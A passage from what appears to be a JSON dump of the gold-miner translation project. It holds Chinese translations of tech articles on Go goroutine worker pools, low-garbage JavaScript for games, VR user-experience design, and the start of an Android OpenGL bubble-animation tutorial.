一样，取决于缓冲区在运行时是否空闲。\n\n## Channels 的关闭\n\n```\nclose(ch)\n```\n\n这就是如何关闭 channel。在 Golang 中它对避免死锁很有帮助。接收方的 go-routine 可以像下面这样探测 channel 是否关闭了。\n\n```\nmsg, ok := <- ch\nif !ok {\n  fmt.Println(\"Channel closed\")\n}\n```\n\n## 使用 Golang 写出很快的代码\n\n现在我们讲的知识点已经涵盖了 go-routines，闭包，channel。考虑到移动盒子的算法已经很有效率，我们可以开始使用 Golang 开发一个通用的解决方案来解决问题，我们只关注为任务雇佣合适的人的数量。\n\n让我们仔细看看我们的问题，重新定义它。\n\n我们有 100 个盒子需要从一个房间移动到另一个房间。需要着重说明的一点是，移动盒子1和移动盒子2涉及的工作没有什么不同。因此我们可以定义一个移动盒子的方法，变量「i」代表被移动的盒子。方法叫做「任务」，盒子数量用「N」表示。任何「计算机编程基础 101」课程都会教你如何解决这个问题：写一个 for 循环调用「任务」N 次，这导致计算被单核心占用，而系统中的可用核心是个硬件问题，取决于系统的品牌，型号和设计。所以作为软件开发人员，我们将硬件从我们的问题中抽离出去，来讨论 go-routines 而不是核心。越多的核心就支持越多的 go-routines，我们假设「R」是我们「X」核心系统所支持的 go-routines 数量。\n\n> FYI：数量「X」的核心数量可以处理超过数量「X」的 go-routines。单个核心支持的 go-routines 数量（R/X）取决于 go-routines 涉及的处理方式和运行时所在的平台。比如，如果所有的 go-routine 仅涉及阻塞调用，例如网络 I/O 或者 磁盘 I/O，则单个内核足以处理它们。这是真的，因为每个 go-routine 相比运算来说更多的在等待。因此，单个核心可以处理所有 go-routine 之间的上下文切换。\n\n因此我们的问题的一般性的定义为\n\n> 将「N」个任务分配给「R」个 go-routines，其中所有的任务都相同。\n\n如果 N≤R，我们可以用以下方式解决。\n\n```\npackage main\n\nimport \"fmt\"\n\nvar N int = 100\n\nfunc Task(i int) {\n\tfmt.Println(\"Box\", i)\n}\nfunc main() {\n\tack := make(chan bool, N) // Acknowledgement channel\n\tfor i := 0; i < N; i++ {\n\t\tgo func(arg int) { // Point #1\n\t\t\tTask(arg)\n\t\t\tack <- true // Point #2\n\t\t}(i) // Point #3\n\t}\n\n\tfor i := 0; i < N; i++ {\n\t\t<-ack // Point #2\n\t}\n}\n\n```\n\n解释一下我们做了什么...\n\n1. 我们为每个任务创建一个 go-routine。我们的系统能同时支持「R」个 go-routines。只要 N≤R 我们这么做就是安全的。\n2. 我们确认 main 函数在等待所有 go-routine 完成的时候才返回。我们通过等待所有 go-routine（通过闭包属性）使用的确认 channel（「ack」）来传达其完成。\n3. 我们传递循环计数「i」作为参数「arg」给 go-routine，而不是通过[闭包属性](https://golang.org/doc/faq#closures_and_goroutines)在 go-routine 中直接引用它。\n\n另一方面，如果 N>R，则上述解决方法会有问题。它会创建系统不能处理的 go-routines。所有核心都尝试运行更多的，超过其容量的 go-routines，最终将会把更多的时间话费在上下文切换上而不是运行程序（俗称抖动）。当 N 和 R 之间的数量差异越来越大，上下文切换的开销会更加突出。因此要始终将 go-routine 的数量限制为 R。并将 N 个任务分配给 R 个 go-routines。\n\n下面我们介绍 **workers** 函数\n\n```\nvar R int = 100\nfunc Workers(task func(int)) chan int { // Point #4\n input := make(chan int)                // Point #1\n for i := 0; i < R; i++ {               // Point #1\n   go func() {\n     for {\n       v, ok := <-input                   // Point #2\n       if ok {\n         task(v)                           // Point #4\n       } else {\n         return                            // Point #2\n       }\n     }\n   }()\n }\n return input                          // Point #3\n}\n```\n\n1. 创建一个包含有「R」个 go-routines 的池。不多也不少，所有对「input」channel 的监听通过闭包属性来引用。\n2. 创建 go-routines，它通过在每次循环中检查 ok 参数来判断 channel 是否关闭，如果 channel 关闭则杀死自己。\n3. 返回 input channel 来允许调用者函数分配任务给池。\n4. 使用「task」参数来允许调用函数定义 go-routines 的主体。\n\n## 使用\n\n```\nfunc main() {\nack := make(chan bool, N)\nworkers := Workers(func(a int) {     // Point #2\n  Task(a)\n  ack <- true                        // Point #1\n })\nfor i := 0; i < N; i++ {\n  workers <- i\n }\nfor i := 0; i < N; i++ {             // Point #3\n  <-ack\n }\n}\n```\n\n通过将语句（Point #1）添加到 worker 方法中（Point #2），闭包属性巧妙的在任务参数定义中添加了对确认 channel 的调用，我们使用这个循环（Point #3）来使 main 函数有一个机制去知道池中的所有 go-routine 是否都完成了任务。所有和 go-routines 相关的逻辑都应该包含在 worker 自己中，因为它们是在其中创建的。main 函数不应该知道内部 worker 函数们的工作细节。\n\n因此，为了实现完全的抽象，我们要引入一个『climax』函数，只有在池中所有 go-routine 全部完成之后才运行。这是通过设置另一个单独检查池状态的 go-routine 来实现的，另外不同的问题需要不同类型的 channel 类型。相同的 int cannel 不能在所有情况下使用，所以，为了写一个更通用的 worker 函数，我们将使用[空接口类型](https://tour.golang.org/methods/14)重新定义一个 worker 函数。\n\n```\npackage main\n\nimport \"fmt\"\n\nvar N int = 100\nvar R int = 100\n\nfunc Task(i int) {\n\tfmt.Println(\"Box\", i)\n}\nfunc Workers(task func(interface{}), climax func()) chan interface{} {\n\tinput := make(chan interface{})\n\tack := make(chan bool)\n\tfor i := 0; i < R; i++ {\n\t\tgo func() {\n\t\t\tfor {\n\t\t\t\tv, ok := <-input\n\t\t\t\tif ok {\n\t\t\t\t\ttask(v)\n\t\t\t\t\tack <- true\n\t\t\t\t} else {\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t}()\n\t}\n\tgo func() {\n\t\tfor i := 0; i < R; i++ {\n\t\t\t<-ack\n\t\t}\n\t\tclimax()\n\t}()\n\treturn input\n}\nfunc main() {\n\n\texit := make(chan bool)\n\n\tworkers := Workers(func(a interface{}) {\n\t\tTask(a.(int))\n\t}, func() {\n\t\texit <- true\n\t})\n\n\tfor i := 0; i < N; i++ {\n\t\tworkers <- i\n\t}\n\tclose(workers)\n\n\t<-exit\n}\n\n```\n\n你看，我已经试图展示了 Golang 的力量。我们还研究了如何在 Golang 中编写高性能代码。\n\n请观看 Rob Pike 的 Go-Routines 视频，然后和 Golang 度过一个美好的时光。\n\n直到下次...\n\n感谢 [Prateek Nischal](https://medium.com/@prateeknischal25?source=post_page)。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/how-to-write-low-garbage-real-time-javascript.md",
    "content": ">* 原文链接 : [How to write low garbage real-time Javascript](https://www.scirra.com/blog/76/how-to-write-low-garbage-real-time-javascript)\n* 原文作者 : [Ashley ](https://www.scirra.com/users/ashley)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [yangzj1992](http://qcyoung.com)\n* 校对者: [L9m](https://github.com/L9m), [Dwight](https://github.com/ldhlfzysys), [宁金](https://github.com/godofchina)\n\n# 如何编写避免垃圾开销的实时 Javascript 代码\n\n_编辑于 2012 年 3 月 27 日: 哇，这篇文章已经写了有很长一段时间了，十分感谢那些精彩的回复！其中有一些对于一些技术的指正，如使用 'delete' 。我知道了使用它可能会导致其他的降速问题，因此，我们在引擎中极少使用它。一如既往的你还需要对所有的事进行权衡并且需要通过其他关注点来平衡垃圾回收机制，这也只是一个在我们引擎中发现的实用、简单的技术列表，它并不是一个完整的参考列表。但是我希望它还是有用的！_\n\n一个用 Javascript 编写的 HTML5 游戏，要达到流畅体验的一个最大阻碍就是**垃圾回收 ( GC )  卡顿**。 Javascript 并没有一个显式的内存管理，意味着你创造东西后却不能释放它们占用的内存。因此迟早浏览器便会替你决定去清理它们：这时代码执行就会被暂停，浏览器会找出哪一部分内存是现在仍在被使用的，并把其他所有东西占用的内存释放掉。这篇博文将会去探究避开GC开销的技术细节，这对方便进行使用任何插件或是使用 Construct 2 进行 [Javascript SDK](http://www.scirra.com/manual/15/sdk \"Construct 2 Javascript Plugin and Behavior SDK\")开发都应该能派上用场。\n\n浏览器有很多技术性手段来减少 GC 卡顿，但是如果你的代码创造了许多垃圾，迟早浏览器也将会暂停并进行清理。随着对象逐步创建的过程中，之后浏览器又突然清理，这最后将导致内存使用情况图表呈现 z 字形。例如，下面是 Chrome 在玩太空爆破手时的内存使用情况。\n\n![Chrome garbage-collected memory usage](https://www.scirra.com/images/chromememoryusage.png) \n\n_当在玩一个 Javascript 游戏时会呈现 z 字形的内存占用情况。这可能是一个内存泄漏错误，但是实际上是 JavaScript 的正常操作。_\n\n此外，游戏以 60 fps 运行时只有 16 ms 的时间来渲染每一帧，但是 GC 会很轻易的产生最少 100 ms 以上明显的卡顿，在更糟的情况下，这会导致不断卡顿的游戏体验，因此对于像游戏引擎一样实时运行的 Javascript 代码，解决办法是努力尝试在典型帧的持续时间内_你不要创建任何东西_。这实际上是相当困难的，因为有许多看上去无害的 Javascript 语句实际上却创造了垃圾，它们_都_必须从每帧动画的代码路径里删除掉。在 Construct 2 中我们竭尽全力减少每一处引擎的垃圾开销，但是你可以从图表中看到上面仍然有许多小的对象被创建所以 Chrome 还会每隔数秒进行一次清除。要注意这里只是一个小的清理 - 这里并没有大量的内存被清理出来，因为一个更高更极端的z曲线会更引起关注，但是它可能已经足够好了，因为小型的垃圾集合执行会更快并且偶尔的小卡顿也一般不太引人注意 - 因此我们应该看到了，有时我们确实很难避免产生新的资源分配。\n\n同样重要的包括第三方插件以及开发人员行为也需要遵守这些原则，否则，一个写的不好的插件可以产生许多垃圾并会让游戏十分卡顿，尽管主引擎 Construct 2 已经是一个非常低垃圾开销的引擎了。\n\n### 简单的技巧\n\n首先，最明显的是，关键词 `new` 指示了资源的分配，例如 `new Foo()`  在可能的情况下，它会在启动时尝试创建一个对象，并且尽可能长时间、简单的**重新使用相同的对象**。\n\n不太明显的是，这里有三种快捷语法方式来相似的调用 `new` :\n\n`{}` _(创建一个新对象)_\n`[]` _(创建一个新数组)_\n`function () { ... }` _(创建一个新函数，也会被垃圾收集)_\n\n对于对象，用避免 `{}` 一样的方式来避免 `new` - 尝试去回收对象。请注意这包括像 `{ \"foo\": \"bar\" }` 这样带属性的对象，也就是我们在函数中常用的一次性返回多个值。或许将每一次的返回值写入一个相同的(全局)对象来返回的写法是更好的 - 在文档中要仔细记录这一点，因为如果你保持引用这样的返回对象，可能在每次调用改变的时候发生错误。\n\n实际上你可以回收一个存在的对象(如果它没有原型链)通过删除它的所有属性，将它还原为一个空的对象如 `{}` 一样。为此你可以使用 `cr.wipe(obj)` 函数，它的定义如下：\n\n    // remove all own properties on obj,\n    effectively reverting it to a new object\n    cr.wipe = function (obj)\n    {\n        for (var p in obj)\n        {\n            if (obj.hasOwnProperty(p))\n                delete obj[p];\n        }\n    };\n\n因此在某些情况下，你可以调用 `cr.wipe(obj)` 并为其再次添加属性来重用一个对象。比起重新简单分配 `{}` 现场清除一个对象可能需要更长的时间，但是在实时处理的代码中更重要的是避免产生垃圾，从而减少未来可能产生的卡顿情况。\n\n分配 `[]` 到一个数组中被经常用来作为一个快捷方式去清除这个数组(例如 `arr = [];`)，但请注意这将创建一个新的空数组并使旧的数组成为一个垃圾！更好的写法是 `arr.length = 0;` ，这种方式具有相同的效果但却继续使用了相同的数组对象。\n\n函数则有一点棘手，函数通常在执行时创建并且不倾向于在运行时进行过多分配 - 但这意味着它们在动态创建时很容易被忽视。一个例子是返回函数的函数。主要的游戏循环使用了 `setTimeout` 或者 `requestAnimationFrame` 方法来调用一个成员函数类似如下：\n\n<pre>setTimeout((function (self) { return function () {\nself.tick(); }; })(this), 16);</pre>\n\n这看起来像是一个合理的方式来每 16ms 调用一次 `this.tick()` 。然而，这也意味着每一次执行 tick 函数都会返回一个新函数！这可以通过永久存储函数的方法来避免，例如：\n\b\n\n    // at startup\n    this.tickFunc = (function (self) { return function () {\n    self.tick(); }; })(this);\n\n    // in the tick() function\n    setTimeout(this.tickFunc, 16); \n\n这将在每次执行 tick 函数时重复使用相同的函数来代替产生一个新的函数。这个方法可以应用到任意其他地方的返回函数中或是运行创建的函数中。\n\n### 进阶技巧\n\n随着我们的进展，进一步的避免产生垃圾变得更加困难，由于 Javascript 本身就是围绕着 GC 所设计的。许多 Javascript 中方便的库函数也总是创建了新的对象。这儿没有什么你可以做的但是当你返回文档查阅那些返回值时。例如，数组中的 `slice()` 方法会返回一个数组(基于保持不变的原始数组范围内)，字符串的 `substr` 会返回一个新的字符串(基于保持不变的原始字符串字符的范围)，等等。调用这些函数都会产生垃圾，而你能做的就是不要去调用它们，或是在极端情况下重写你的函数使它们不再产生垃圾。例如在 Construct 2 这种引擎，由于各种原因一个经常的操作是通过索引去删除数组里的一个元素。这个方法的快捷使用方式如下：\n\n    var sliced = arr.slice(index + 1);\n    arr.length = index;\n    arr.push.apply(arr, sliced);\n\n然而 `slice()` 返回一个原始数组的后半部分来组成了一个新的数组，并且在被(`arr.push.apply`)复制后产生了垃圾。由于这是我们引擎中一个生产垃圾的热门处，它被改写为了一个迭代版本：\n\n    for (var i = index, len = arr.length - 1; i < len; i++)\n        arr[i] = arr[i + 1];\n\n    arr.length = len;\n\n显然重写大量的库函数是相当痛苦的，所以你需要仔细的权衡需求实现的方便性以及垃圾产生之间的平衡。如果它在每帧中被调用了很多次，你可能最好重写这个你需要的函数库。\n\n这里可以很容易的使用 `{}` 语法来沿着递归函数传递数据。通过一个数组来表示一个堆栈，在这个堆栈中对递归的每一级进行 push 和 pop 是更好的。更好的是，实际上你并不需要在数组中 pop  - 你应该将数组中最后一个对象像垃圾一样处理掉。来代替使用一个 'top index' 变量进行简单减量。然后为了代替 pushing ,则增加 top index 并且如果有的话就重用数组中的下一个对象，否则执行真正的 push。\n\n此外，**在所有可能的情况下避免向量对象**(如 vector2 中的 x 和 y 属性)。虽然可能函数返回这些对象会让它们立刻改变或返回这两个值时会方便些，你可以在_每一帧_中轻松地结束数百个这样的创建对象，这将导致可怕的 GC 性能。这些函数必须分离出来在每个单独的组件中工作，例如:使用 `getX()` 和 `getY()` 来代替 `getPosition()` 来返回一个 vector2 对象。\n\n有时候你无法摆脱一个库是一个产生垃圾的噩梦。 Box2Dweb 是一个典型的例子：它每一帧产生了数百个 b2Vec2 对象并且不断的在浏览器产生垃圾，并最终导致垃圾处理器产生显著的卡顿效果。在这种情况下最好的办法是创建一个缓存回收机制。我们一直在测试 Box2D([Box2Dweb-closure](https://github.com/illandril/box2dweb-closure)) 的修正版本，它似乎可以使 GC 暂停进行缓解(虽然没有完全解决)。查阅 [b2Vec2.js](https://github.com/illandril/box2dweb-closure/blob/master/src/common/math/b2Vec2.js) 的 `Get` 和 `Free` 代码。这里有一个名字叫 'free cache' 的数组，在之后的整个代码中如果不再使用 b2Vec2，它就会在 free cache 中被释放，当需要请求一个新的 b2Vec2，而它如果在 free cache 中还存在那么它就会被重用，否则才会分配一个新的。这并不完美，在一些测试后通常只有一半的 b2Vec2s 被创建并回收，但它确实帮助 GC 缓解了压力从而减少了频繁的卡顿。\n\n### 结论\n\n在 Javascript 中很难去完全避免垃圾。它的垃圾收集模式根本上是不符合像游戏这样的实时软件的需求的。从 Javascript 代码中需要进行大量的工作来消除垃圾，因为有很多直接的代码含有创建大量垃圾的副作用。然而，只要仔细小心一些，Javascript 也是可以在实时项目中不产生或是制造很少的垃圾开销，而对于需要保持高度响应性的游戏和应用程序这也是至关重要的。\n\n\n\n"
  },
  {
    "path": "TODO/how-vr-is-changing-ux-from-prototyping-to-device-design.md",
    "content": "\n  > * 原文地址：[How VR Is Changing UX: From Prototyping To Device Design](https://uxplanet.org/how-vr-is-changing-ux-from-prototyping-to-device-design-a75e6b45e5f8)\n  > * 原文作者：[Justinmind](https://uxplanet.org/@justinmind)\n  > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n  > * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/how-vr-is-changing-ux-from-prototyping-to-device-design.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-vr-is-changing-ux-from-prototyping-to-device-design.md)\n  > * 译者：[Lai](https://github.com/laiyun90)\n  > * 校对者：[halloween](https://github.com/shawnchenxmu) [Larry](https://github.com/lampui) \n\n  # 虚拟现实是如何改变用户体验的：从原型到设备的设计\n\n  ![](https://user-gold-cdn.xitu.io/2017/8/14/5e5931ff4c92ab5fccd061f240632e7b)\n\n## 虚拟现实（VR）正在不断改变着我们定义用户体验（UX）的方式，但是一条经久不变的原则仍然是体验必须以人为中心。\n\n你有没有曾经畅想遨游太空？或者看一场甲壳虫乐队的现场演出？随着虚拟现实技术的最新发展，你甚至不必离开舒服的沙发，就能让你的梦想在现实中模拟实现。\n\n但是这些新技术对用户体验来说意味着什么呢？随着新兴平台的涌现和技术的快速发展，用户体验是这些技术成功的关键。因为如果人们要在日常生活中采用这些新技术，那么这些技术就必须是可信赖的。\n\n正如 [Daniel Terdiman](https://www.fastcompany.com/3058259/for-oculus-to-succeed-vr-needs-to-succeed) 指出的：\n\n> 「 **虚拟现实（VR）公司**深知任何平台或设备上的糟糕的 VR 体验，都会将人们永久地隔离于整个科技之外。」\n\n让人们正确了解并使用 VR 是至关重要的，这也正是用户体验的意义所在。\n\n### 虚拟现实（VR）是什么?\n\n在了解虚拟现实是如何改变用户体验之前，让我们先来看看最近几年虚拟现实出现了哪些技术，并给出相关定义。由于不同的术语会让人感到困惑，所以这里我们给出一些明确清晰的表述。\n\n首先，三个改变现实的重要技术：\n\n#### 虚拟现实 (VR)\n\n虚拟现实技术创造了一个全新的世界。只要你想，你就能模拟现实。虚拟现实（VR）所做的是将用户传送到一个完全由技术生成的不同的地方。如果你需要一个脑海中的形象，那么想象一下类似 Oculus Rift 的 VR 头盔，它将会为你创造一个属于你自己的世界。\n\n#### 增强现实 (AR)\n\n接下来介绍增强现实（AR）。增强现实是将生成的图片或视频覆盖在现实世界之上。想想 Pokémon Go 或者宜家 [应用目录](https://www.youtube.com/watch?v=vDNzTasuYEw)，它能够让你在买之前，看到家具在你家里是什么样子。\n\n#### 混合现实 (MR)\n\n混合现实就是将生成的图像和真实世界的事物结合起来。 Keith Curtin 曾说过这是 [2017 年最重要的技术](https://thenextweb.com/insider/2017/01/07/mixed-reality-will-be-most-important-tech-of-2017/#.tnw_1frSRiaM)。混合现实所做的是在智能虚拟对象上呈现出真实的世界。\n\n### 原型设计在虚拟现实中是否发挥作用？\n\n用户体验在虚拟现实中是不可或缺的，所以原型设计对于创造一个可信赖的虚拟现实体验至关重要。正确的虚拟现实体验是必不可少的，可以进行快速迭代的交互原型让你离成功更近。\n\n即使是在设计虚拟现实体验的阶段，定义交互并创建逻辑工作流程也是很有必要的。虽然是一个虚拟的现实，UI 设计仍然占据中心地位。\n\n虚拟现实中的大部分设计都是 3D 的，但是在 3D 设计开始前，为了节省时间并在用户测试阶段进行增量调整，2D 的原型界面仍然有用  —— 你一定会惊讶于 [原型可以适应设计的过程](https://www.justinmind.com/blog/how-to-improve-your-web-and-app-design-process-with-prototypes/)。\n\n### 虚拟现实中良好的用户体验（UX）\n\n糟糕的用户体验会影响虚拟现实，那么在虚拟现实用户体验中，有哪些必要的、可以未雨绸缪的原则呢？\n\n- 可信的：虚拟现实中的体验必须是可信的，也就是说你感受到你真的在那儿。\n- 可交互的：虚拟现实必须有良好的交互性，所以当你伸出手臂时，虚拟现实世界也必须复制该动作。\n- 可探索的：你必须能够在虚拟环境中行走（甚至飞翔）。\n- 沉浸式的：将探索和可信结合起来，你会真正的沉浸在其中，全方位地享受虚拟现实带来的体验。\n\n### 虚拟现实用户体验的成功案例\n\n虚拟现实有各式各样的用途。其中之一是帮助老年人安享晚年。Rendever 是一家总部位于马萨诸塞州的虚拟现实公司，他们运用虚拟现实技术，帮助老年人重新享受生活。 \n\n据 [Rendever](http://rendever.com/) 宣称，50% 的依靠生活辅助设施生活的居民感到抑郁和孤立。该公司力图以创新的方式运用虚拟现实技术，来减少这一数字。\n\n### 为老年人设计的 VR \n\n想象一下：你是一个没有能力去旅行的老人，而你的孙女正在这个国家的另一边举行婚礼。结果往往是，错过这个重大日子的祖父母会感到失望和沮丧。但是随着虚拟现实技术的发展，这个老人将有可能坐在婚礼现场的前排，让我们感谢虚拟现实。\n\n>**「老年人可以体验 2D 图片不能提供的强大时刻。」**\n\n### 在手术期间用虚拟现实去旅行\n\n虚拟现实技术也应用在医学上。外科医生利用虚拟现实技术，帮助那些经受了重大甚至于改变生命手术的病人保持镇静。\n\n麻醉剂是用于镇定病人的，但是在一些情况下却不能使用。为了减少手术过程中的焦虑和压力，墨西哥城的一家私人诊所用虚拟现实头戴设备将病人传送到秘鲁的马丘比丘等目的地，在接受治疗的过程中让他们分心，而这种做法 [很有效果](https://mosaicscience.com/story/virtual-reality-VR-surgery-pain-mexico)。\n\n### 虚拟现实有助于减轻患者的疼痛\n\n在加利福尼亚州，心理学家亨特霍夫曼（ Hunter Hoffman ）开发了一种虚拟现实游戏来帮助病人减轻疼痛。SnowWorld 试图直接将病人的注意力从疼痛转移到一个充满冰雪的世界里，在那里他们可以在企鹅中扔雪球。没错，是真的。 \n\n值得注意的是，报告显示 SnowWorld 的用户比那些尝试其他方法减缓疼痛的用户 [减少了 50% 以上的痛苦](https://thenextweb.com/insider/2017/05/09/study-vr-twice-as-effective-as-morphine-at-treating-pain/#.tnw_c6Wwxja2) —— 对于一个好的用户体验来说这意味着什么？\n\n### 构建虚拟现实体验时的 UX 挑战 \n\n如果用户曾经有过不好的虚拟现实体验，他们可能会害怕尝试 VR 。所以 UX 设计，或者说 **好的 UX 设计**，必须是任何虚拟现实体验的核心要素。这意味着，从适当的灯光和流畅的动作到实际的设计，每个细节都必须认真考虑。\n\n### 增强虚拟现实中的用户体验\n\n但是 UX 超越了虚拟现实。设备的设计也扮演着重要的角色。没有人想要佩戴笨重的耳机，沉沉地压着自己。为了提高虚拟现实的体验，制造一个轻量级和多功能的耳机是至关重要的，否则用户满脑子都是一个会让他们颈部疼痛的耳机，这样是无法完全沉浸在虚拟现实中的。\n\n### 让你的 VR 体验可信\n\n虚拟现实提出的最重要的挑战之一是，VR 体验可能看起来或感觉上不是真实的。你能想象潜入凉爽的加勒比海水域，却只能发现设计拙劣的鱼和设计不当的地形吗？\n\n虚拟现实体验的 UX 设计应该尽可能令人信服。这意味着让用户处于控制地位，完全把控体验。要让用户忘记他们身处模拟现实，一定要做到可交互。为了解决这个 UX 问题，许多虚拟现实体验都提供了 360 全角度的、完全身临其境的体验。 \n\n#### 虚拟现实在真实生活中的影响\n\nVR 模拟现实的同时，也不要忘记使用 VR 会给真实生活造成影响。这意味着在虚拟现实体验中会让你感到恶心晕眩。不要惊讶，这是真的。和晕动病是一样的。\n\n让人们拒绝 VR 的一点是使用过程中感到头痛和恶心。在**UI 设计**中，只需要避免任何快速移动或者速度变化，就能防止用户感到晕眩想吐。\n\n### 但是 UX 设计师可以在 VR 领域做些什么来验证实践呢？\n\n首先，虚拟现实相关的 UX 设计师，要了解技术是如何实现的。可以看看 [AR 的本质](https://www.wareable.com/vr/how-does-vr-work-explained)。这意味着需要温习一些新词汇，比如能够区分头部跟踪（head tracking）和运动跟踪（motion tracking），能够了解 HMD 的含义等。\n\n#### 了解 3D 相关工具的最新信息\n\n作为 UX 的从业者，我们需要持续关注最新的技术发展，包括用户测试方法。 我们习惯于做 [用户测试](https://www.loop11.com/user-testing-a-mobile-app-prototype-essential-checklist/) 来帮助测试移动应用程序原型。\n\n当我们开始一个新的设计时，持续和严格的用户测试可以帮助我们评估某些东西是否有效。\n\n虚拟现实中的用户测试也有其明显的缺点：为大量用户提供多个 VR 耳机设备是昂贵且困难的，而且，测试附着在脸上的东西也是很复杂的。\n\n了解 [虚拟现实用户测试](https://omobono.com/insights/blog/designing-vr-how-conquer-challenges-user-testing-vr) 背后的方法是非常重要的，不过想要征服它们也并非不可能。 站在用户肩膀上窥视的日子已经一去不复返了。\n\n最后，虚拟现实为 UX 打开了许多扇门。但是虚拟现实的 UX 有些曲折。鼠标的指向和点击在设计有关面部和语音识别、动作追踪和潜在的脑电波的体验中会显得有些平庸。这些只是少许的 UX 设计师必须让自己了解的一些新的输入方式。 \n\n\n  ---\n\n  > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n  \n"
  },
  {
    "path": "TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md",
    "content": "> * 原文地址：[How We Created BubblePicker – a Colorful Menu Animation for Android](https://yalantis.com/blog/how-we-created-bubblepicker-a-colourful-animation-for-android/)\n> * 原文作者：[Irina Galata](https://yalantis.com/blog/how-we-created-bubblepicker-a-colourful-animation-for-android/), [Yuliya Serbenenko](https://yalantis.com/blog/how-we-created-bubblepicker-a-colourful-animation-for-android/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[hackerkevin](https://github.com/hackerkevin)\n> * 校对者：[luoqiuyu](https://github.com/luoqiuyu) [phxnirvana](https://github.com/phxnirvana)\n\n# 如何创建 BubblePicker – Android 多彩菜单动画 #\n\n我们已经习惯了移动应用丰富的交互方式，如滑动手势去选择、拖拽。但是我们没有察觉到，统一用户的跨平台体验是一个正在发生的趋势。\n\n早期时候，iOS 和 Android 都有其独特的体验，但是在近期，这两个平台上的应用体验和交互在逐渐的靠拢。[底部导航](https://material.io/guidelines/components/bottom-navigation.html#)和分屏的特性已经成为Android Nougat版本的特性，Android 和 iOS 已经有了很多相同的地方了。\n\n对于设计者而言，设计语言的融合意味着在一个平台上流行的特性可以适配到另一个平台。\n\n最近，为了跟上跨平台风格的步伐，我们受 Apple music 上气泡动画的启发，用 Android 动画实现了一份。我们设计了一个接口，使得初学者也可以方便的使用，而且也让有经验的开发者觉得有趣。\n\n使用 [BubblePicker](https://github.com/igalata/Bubble-Picker) 能让一个应用更加的聚焦内容、原汁原味和有趣。尽管 Google 已经对它所有的产品推出了材料设计语言，但是我们依然决定在此时尝试大胆的颜色和渐变的效果，使得图像增加更多的深度和体积。渐变可能是界面显示最主要的视觉效果，也可能会吸引到更多的人使用。\n\n![](http://images.yalantis.com/w736/uploads/ckeditor/pictures/2328/content_1_gradients.jpg)\n\n我们的组件是白色背景，上面包含了很多明亮的颜色和图形。\n\n这种高反差对丰富应用的内容很有帮助，在这里用户不得不从一系列选项列表中做出选择。比如，在我们的概念中，我们在旅行应用中使用气泡来持有潜在的目的地名称。气泡在自由的漂浮，当用户点击其中一个时，那个气泡就会变大。\n\n![](https://yalantis-com-dev-06-09.s3.amazonaws.com/uploads/ckeditor/pictures/2329/content_discover_animation.gif)\n\n此外，开发者可以通过自定义屏幕中的元素使得动画适配任何应用。\n\n当我们在制作这个动画的同时，我们要面对下面五个挑战：\n\n### **1. 选择最佳开发工具** ###\n\n很明显，在 Canvas 上渲染这样一个快速的动画效果不够高效，所以我们决定使用OpenGL (Open Graphics Library)。 OpenGL 是一个提供 2D 或 3D 图形渲染的、跨平台的应用程序接口。幸运的是，Android 支持一些 OpenGL 的版本。\n\n我们需要让圆更加的自然，就像是汽水中的气泡。有很多物理引擎可用于 Android，但我们的特殊需求使得做出选择格外困难：这个引擎必须轻量而且方便嵌入 Android 库中。大多数引擎都是为游戏开发的，你必须使项目结构适应它们。经过一些研究，我们发现了 JBox2D (一个使用 C++ 开发的、 Java 端口的 Box2D 引擎)；因为我们的动画并不支持很多数量的 body（换句话说，它不是为了200个或更多的对象设计的），我们可以使用 Java 端口而不是原生引擎。\n\n另外，在本文的后面我们会解释为何选择了 Kotlin 语言编写，并且谈到这种新语言的优点。想要了解 Java 与 Kotlin 更多的区别，请访问[之前的文章](https://yalantis.com/blog/kotlin-vs-java-syntax/)。\n\n### **2. 创建着色器** ###\n\n在开始的时候，我们需要先理解 OpenGL 中的构建块是三角形，因为三角形是能够模拟成其他形状中最简单的形状。你在 OpenGL 中创建出的任何形状，都包含了一个或多个三角形。为了实现动画，我们为每个 body 使用了两个组合三角形，所以看起来像个正方形，我们可以在里面画圆。\n\n渲染一个形状至少需要写两个着色器 - 一个顶点着色器和一个片段着色器。它们的名称已经体现了各自的不同。对每个三角形的每个顶点执行一个顶点着色器，而对三角形中的每个像素大小的部分则执行片段着色器。\n\n![](http://images.yalantis.com/w736/uploads/ckeditor/pictures/2330/content_3.jpg)\n\n顶点着色器通常被用于控制形状（如缩放、位置、旋转），而片段着色器负责控制其颜色。\n\n```\n    // language=GLSL\n    val vertexShader = \"\"\"\n        uniform mat4 u_Matrix;\n    \n        attribute vec4 a_Position;\n        attribute vec2 a_UV;\n    \n        varying vec2 v_UV;\n    \n        void main()\n        {\n            gl_Position = u_Matrix * a_Position;\n            v_UV = a_UV;\n        }\n    \"\"\"// 